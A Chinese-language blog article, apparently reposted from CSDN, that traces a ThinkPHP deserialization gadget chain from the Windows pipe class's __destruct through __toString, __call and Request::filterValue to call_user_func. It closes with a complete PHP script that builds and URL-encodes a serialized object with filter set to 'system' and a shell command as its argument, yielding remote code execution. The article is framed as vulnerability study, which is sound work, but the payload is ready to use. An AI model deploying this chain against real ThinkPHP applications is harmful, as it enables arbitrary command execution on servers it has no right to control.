文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

全网最详细thinkPHP反序列化漏洞详解

2023-09-14 10:45

关注

三:ThinkPHP中的PHAR反序列化

  漏洞挖掘原理利用自动调用的魔术方法,一步一步去寻找调用链,寻找可控点,在unserialize和phar://触发

1.漏洞起点为/pipes/windows.php中的__destruct()中的 $this->removeFiles();

继续跟进它其中存在

if (file_exists($filename)) {

                @unlink($filename);

            }

,可以想到如果$filename为一个对象的话,而file_exists会将其变成字符串处理,从而触发————toString魔术方法。

2.全局搜索__toString,在Comversion.php中寻找到

public function __toString()

    {

        return $this->toJson();

    }

继续跟进tojson()

public function toJson($options = JSON_UNESCAPED_UNICODE)

    {

        return json_encode($this->toArray(), $options);

    }

跟进toARrray()

if (!empty($this->append)) {

            foreach ($this->append as $key => $name) {

                if (is_array($name)) {

                    // 追加关联对象属性

                    $relation = $this->getRelation($key);

                    if (!$relation) {

                        $relation = $this->getAttr($key);

                        $relation->visible($name);

                    }

跟进getArray()

 public function getAttr($name, &$item = null)

    {

        try {

            $notFound = false;

            $value    = $this->getData($name);

        } catch (InvalidArgumentException $e) {

            $notFound = true;

            $value    = null;

        }

跟进getData()

public function getData($name = null)

    {

        if (is_null($name)) {

            return $this->data;

        } elseif (array_key_exists($name, $this->data)) {

            return $this->data[$name];

        } elseif (array_key_exists($name, $this->relation)) {

            return $this->relation[$name];

        }

最后$relation=$this->data[$name],调用链基本完成,但没有执行点,这时想到$relation->visible($name);如果$relation这个类没有visible$name)这个方法则会调用__call魔术方法,可以尝试。

public function __call($method, $args)

    {

        if (array_key_exists($method, $this->hook)) {

            array_unshift($args, $this);

            return call_user_func_array($this->hook[$method], $args);

        }

        throw new Exception('method not exists:' . static::class . '->' . $method);

    }

$this->hook可控,但是array_unshift($args, $this);会在数组前插入新的元素,很难构建payload,既然这个方法无法利用call_user_func_array($this->hook[$method], $args),那为啥不直接用call_user_func_array($this->hook[$method], $args)调用本类存在的方法了。

假设this->hook[‘visible’=>[$this,method]]

那么call_user_func_array($this->hook[$method], $args)就会时

call_user_func_array([$this,method], $args)从而继续进行下去

继续寻找call_user_func()找到

private function filterValue(&$value, $key, $filters)

    {

        $default = array_pop($filters);

        foreach ($filters as $filter) {

            if (is_callable($filter)) {

                // 调用函数或者方法过滤

                $value = call_user_func($filter, $value);

发现$filters参数那么谁在调用filterValue()呢,发现cookie()再继续调用

其中

        $filter = $this->getFilter($filter, $default);

 

跟进getFilter(),发现

 $filter = $filter ?: $this->filter;

其中将$filter = (array) $filter;变成了一个数组

最终call_user_func($filter, $value);第一个参数可控,寻找第二个参数$value

找到input函数,继续寻找谁在调用input,发现params函数在调用而且

 return $this->input($this->param, $name, $default, $filter);

其中$this->param可控所以第二个参数值可控

filterValue(&$value, $key, $filters)->

public function input($data = [], $name = '', $default = null, $filter = ''){

$this->filterValue($data, $name, $filter);}->
public function param($name = '', $default = null, $filter = '')

{ return $this->input($this->param, $name, $default, $filter);}

但如果想进行到这一步$name不能为空因为在input()函数中存在

if (false === $name) {

            // 获取原始数据

            return $data;

        }

所以我们要给$name赋值,最终寻找到isAjax()函数

public function isAjax($ajax = false)

 {

 $result= $this->param($this->config['var_ajax']) ? true : $result;

        return $result;

    }

isAjax函数中,我们可以控制$this->config['var_ajax']$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

根据调用链尝试构建payload

namespace think;

class Request

{

    protected $hook = [];

    protected $config = [];

    protected $filter;

    protected $param = [];

    public function __construct(){

        $this->filter = 'system';                       // 要调用的函数

        $this->param = ['ifconfig'];                    // 要执行的命令

        $this->hook = ['visible'=>[$this, 'isAjax']];   // 要在__call中调用的方法

        $this->config = ['var_ajax' => ''];             // 配置参数,可控点

    }

}

abstract class Model{

    protected $append = [];     // 参考Converstion类的相同定义

    private $data = [];         // 参数Attribute类的相同定义

    function __construct()      // 给两个属性赋值

    {

        $this->append = ['woniu' => ['a']];  // 截止目前append只需要满足不为空,所以任意定义, Conversion 166

        $this->data = ['woniu' => new Request() ]; // 此处data的定义要绕一些,因为存在多个调用

    }

}

namespace think\model;

use think\Model;

class Pivot extends Model {

   

}

namespace think\process\pipes;

use think\model\Pivot;

class Pipes {}

class Windows extends Pipes{

    private $files = ['/opt/lampp/htdocs/security/upload/test.php'];

    function __construct() {

        $this->files = [new Pivot()];

    }

}

$w = new Windows();

echo urlencode(serialize($w));

来源地址:https://blog.csdn.net/kunkun_xiaomeng/article/details/126628961

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     801人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     348人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     311人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     432人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     220人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯